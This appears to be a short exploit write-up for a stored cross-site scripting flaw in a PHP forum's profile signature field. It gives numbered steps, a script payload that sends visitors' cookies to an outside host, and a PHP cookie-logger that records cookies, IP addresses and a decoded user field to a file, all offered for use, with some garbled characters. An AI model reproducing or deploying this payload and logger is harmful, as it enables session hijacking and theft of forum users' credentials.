1.- Register in the forum (registro.php)
2.- Put in your signature the XSS (modificarPerfil.php)
3.- Create a subject
4.- Wait to an answer to visualize the XSS
1є- Register in the forum (registro.php)
2є- Put in your signature the XSS (modificarPerfil.php):
<script>window.location=’http://yousite.com/xss.php?cookie=’+document.cookie</script>
3є- Upload in your Site:
<?php
$archivo = fopen('log2.htm','a');//Aquн podemos cambiar el nombre del archivo a crear
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>
IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>
4є- Chmod 777 archive
5є- Create a subject
6є- Wait to an answer to run the XSS
//---------------------------------------\\
Greetz To: All Hackers
Jose Luis Gуngora Fernбndez / JosS!